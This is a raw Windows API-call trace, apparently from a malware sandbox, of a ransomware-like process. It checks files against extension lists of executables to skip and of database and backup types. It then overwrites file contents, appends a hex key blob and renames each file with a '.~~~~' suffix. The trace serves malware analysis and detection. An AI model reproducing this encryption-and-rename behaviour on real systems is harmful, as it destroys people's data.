	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".pst") returned 0x0
	[0140.824] lstrlenW (lpString=".dbv") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dbv") returned 0x0
	[0140.824] lstrlenW (lpString=".SDF") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".SDF") returned 0x0
	[0140.824] lstrlenW (lpString=".dtxs") returned 5
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dtxs") returned 0x0
	[0140.824] lstrlenW (lpString=".db3") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".db3") returned 0x0
	[0140.824] lstrlenW (lpString=".OST") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".OST") returned 0x0
	[0140.824] lstrlenW (lpString=".dbx") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dbx") returned 0x0
	[0140.824] lstrlenW (lpString=".DB3") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DB3") returned 0x0
	[0140.824] lstrlenW (lpString=".DAT") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DAT") returned 0x0
	[0140.824] lstrlenW (lpString=".VHDX") returned 5
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".VHDX") returned 0x0
	[0140.824] lstrlenW (lpString=".ndf") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".ndf") returned 0x0
	[0140.824] lstrlenW (lpString=".DB") returned 3
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DB") returned 0x0
	[0140.824] lstrlenW (lpString=".sql") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".sql") returned 0x0
	[0140.824] lstrlenW (lpString=".MYD") returned 4
	[0140.824] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".MYD") returned 0x0
	[0140.824] lstrlenW (lpString=".DBT") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DBT") returned 0x0
	[0140.825] lstrlenW (lpString=".ACCDB") returned 6
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.825] lstrlenW (lpString=".fdb") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".fdb") returned 0x0
	[0140.825] lstrlenW (lpString=".bak") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".bak") returned 0x0
	[0140.825] lstrlenW (lpString=".myd") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".myd") returned 0x0
	[0140.825] lstrlenW (lpString=".DTXS") returned 5
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".DTXS") returned 0x0
	[0140.825] lstrlenW (lpString=".ckp") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".ckp") returned 0x0
	[0140.825] lstrlenW (lpString=".dbt") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".dbt") returned 0x0
	[0140.825] lstrlenW (lpString=".db") returned 3
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".db") returned 0x0
	[0140.825] lstrlenW (lpString=".TXT") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".TXT") returned 0x0
	[0140.825] lstrlenW (lpString=".MDF") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".MDF") returned 0x0
	[0140.825] lstrlenW (lpString=".bdb") returned 4
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".bdb") returned 0x0
	[0140.825] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.825] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0140.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.826] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0140.827] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.827] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0140.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0140.827] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26081710242) returned 1
	[0140.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbd577710, dwHighDateTime=0x1d60e1e)) 
	[0140.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0140.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0140.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0140.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cff8
	[0140.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cff8 | out: hHeap=0x300000) returned 1
	[0140.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7ae0
	[0140.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0140.828] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0140.828] GetLastError () returned 0x0
	[0140.829] GetLastError () returned 0x0
	[0140.829] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0140.829] GetLastError () returned 0x0
	[0140.829] GetLastError () returned 0x0
	[0140.829] ReadFile (in: hFile=0x138, lpBuffer=0x2a840c8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesRead=0x25dfec0*=0x910b, lpOverlapped=0x0) returned 1
	[0140.832] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffff6ef5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.832] WriteFile (in: hFile=0x138, lpBuffer=0x2a840c8*, nNumberOfBytesToWrite=0x910b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a840c8*, lpNumberOfBytesWritten=0x25dfec0*=0x910b, lpOverlapped=0x0) returned 1
	[0140.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a840c8 | out: hHeap=0x300000) returned 1
	[0140.833] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.833] WriteFile (in: hFile=0x138, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.833] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.833] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.833] CloseHandle (hObject=0x138) returned 1
	[0140.833] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7ae0
	[0140.833] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif.~~~~")) returned 1
	[0140.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7ae0 | out: hHeap=0x300000) returned 1
	[0140.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0140.835] GetLastError () returned 0x0
	[0140.836] RtlWakeConditionVariable () returned 0x0
	[0140.836] GetCurrentThreadId () returned 0x9f4
	[0140.836] GetCurrentThreadId () returned 0x9f4
	[0140.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8368
	[0140.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce818 | out: hHeap=0x300000) returned 1
	[0140.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a58 | out: hHeap=0x300000) returned 1
	[0140.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ce818
	[0140.836] lstrlenW (lpString=".scr") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".scr") returned 0x0
	[0140.836] lstrlenW (lpString=".cmd") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".cmd") returned 0x0
	[0140.836] lstrlenW (lpString=".dll") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dll") returned 0x0
	[0140.836] lstrlenW (lpString=".bat") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".bat") returned 0x0
	[0140.836] lstrlenW (lpString=".cpl") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".cpl") returned 0x0
	[0140.836] lstrlenW (lpString=".sys") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".sys") returned 0x0
	[0140.836] lstrlenW (lpString=".msc") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".msc") returned 0x0
	[0140.836] lstrlenW (lpString=".com") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".com") returned 0x0
	[0140.836] lstrlenW (lpString=".lnk") returned 4
	[0140.836] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".lnk") returned 0x0
	[0140.836] lstrlenW (lpString=".msp") returned 4
	[0140.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".msp") returned 0x0
	[0140.837] lstrlenW (lpString=".pif") returned 4
	[0140.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".pif") returned 0x0
	[0140.837] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.837] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.837] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0140.838] lstrlenW (lpString=".sqb") returned 4
	[0140.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".sqb") returned 0x0
	[0140.838] lstrlenW (lpString=".ost") returned 4
	[0140.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".ost") returned 0x0
	[0140.838] lstrlenW (lpString=".txt") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".txt") returned 0x0
	[0140.839] lstrlenW (lpString=".mdt") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".mdt") returned 0x0
	[0140.839] lstrlenW (lpString=".BDB") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".BDB") returned 0x0
	[0140.839] lstrlenW (lpString=".eql") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".eql") returned 0x0
	[0140.839] lstrlenW (lpString=".DBF") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DBF") returned 0x0
	[0140.839] lstrlenW (lpString=".EQL") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".EQL") returned 0x0
	[0140.839] lstrlenW (lpString=".FDB") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".FDB") returned 0x0
	[0140.839] lstrlenW (lpString=".EDB") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".EDB") returned 0x0
	[0140.839] lstrlenW (lpString=".DACPAC") returned 7
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.839] lstrlenW (lpString=".VHD") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".VHD") returned 0x0
	[0140.839] lstrlenW (lpString=".DBV") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DBV") returned 0x0
	[0140.839] lstrlenW (lpString=".dacpac") returned 7
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.839] lstrlenW (lpString=".sdf") returned 4
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".sdf") returned 0x0
	[0140.839] lstrlenW (lpString=".accdb") returned 6
	[0140.839] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".accdb") returned 0x0
	[0140.839] lstrlenW (lpString=".DBX") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DBX") returned 0x0
	[0140.840] lstrlenW (lpString=".MDT") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".MDT") returned 0x0
	[0140.840] lstrlenW (lpString=".SQB") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".SQB") returned 0x0
	[0140.840] lstrlenW (lpString=".vhd") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".vhd") returned 0x0
	[0140.840] lstrlenW (lpString=".bac") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".bac") returned 0x0
	[0140.840] lstrlenW (lpString=".mdf") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".mdf") returned 0x0
	[0140.840] lstrlenW (lpString=".BAK") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".BAK") returned 0x0
	[0140.840] lstrlenW (lpString=".BAC") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".BAC") returned 0x0
	[0140.840] lstrlenW (lpString=".dbs") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dbs") returned 0x0
	[0140.840] lstrlenW (lpString=".vhdx") returned 5
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.840] lstrlenW (lpString=".NDF") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".NDF") returned 0x0
	[0140.840] lstrlenW (lpString=".dat") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dat") returned 0x0
	[0140.840] lstrlenW (lpString=".DBS") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DBS") returned 0x0
	[0140.840] lstrlenW (lpString=".CKP") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".CKP") returned 0x0
	[0140.840] lstrlenW (lpString=".edb") returned 4
	[0140.840] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".edb") returned 0x0
	[0140.841] lstrlenW (lpString=".PST") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".PST") returned 0x0
	[0140.841] lstrlenW (lpString=".dbf") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dbf") returned 0x0
	[0140.841] lstrlenW (lpString=".SQL") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".SQL") returned 0x0
	[0140.841] lstrlenW (lpString=".pst") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".pst") returned 0x0
	[0140.841] lstrlenW (lpString=".dbv") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dbv") returned 0x0
	[0140.841] lstrlenW (lpString=".SDF") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".SDF") returned 0x0
	[0140.841] lstrlenW (lpString=".dtxs") returned 5
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.841] lstrlenW (lpString=".db3") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".db3") returned 0x0
	[0140.841] lstrlenW (lpString=".OST") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".OST") returned 0x0
	[0140.841] lstrlenW (lpString=".dbx") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".dbx") returned 0x0
	[0140.841] lstrlenW (lpString=".DB3") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DB3") returned 0x0
	[0140.841] lstrlenW (lpString=".DAT") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DAT") returned 0x0
	[0140.841] lstrlenW (lpString=".VHDX") returned 5
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.841] lstrlenW (lpString=".ndf") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".ndf") returned 0x0
	[0140.841] lstrlenW (lpString=".DB") returned 3
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DB") returned 0x0
	[0140.841] lstrlenW (lpString=".sql") returned 4
	[0140.841] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".sql") returned 0x0
	[0140.842] lstrlenW (lpString=".MYD") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".MYD") returned 0x0
	[0140.842] lstrlenW (lpString=".DBT") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".DBT") returned 0x0
	[0140.842] lstrlenW (lpString=".ACCDB") returned 6
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.842] lstrlenW (lpString=".fdb") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".fdb") returned 0x0
	[0140.842] lstrlenW (lpString=".bak") returned 4
	[0140.842] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF", lpSrch=".bak") returned 0x0
	[0140.842] lstrlenW (lpString=".myd") returned 4
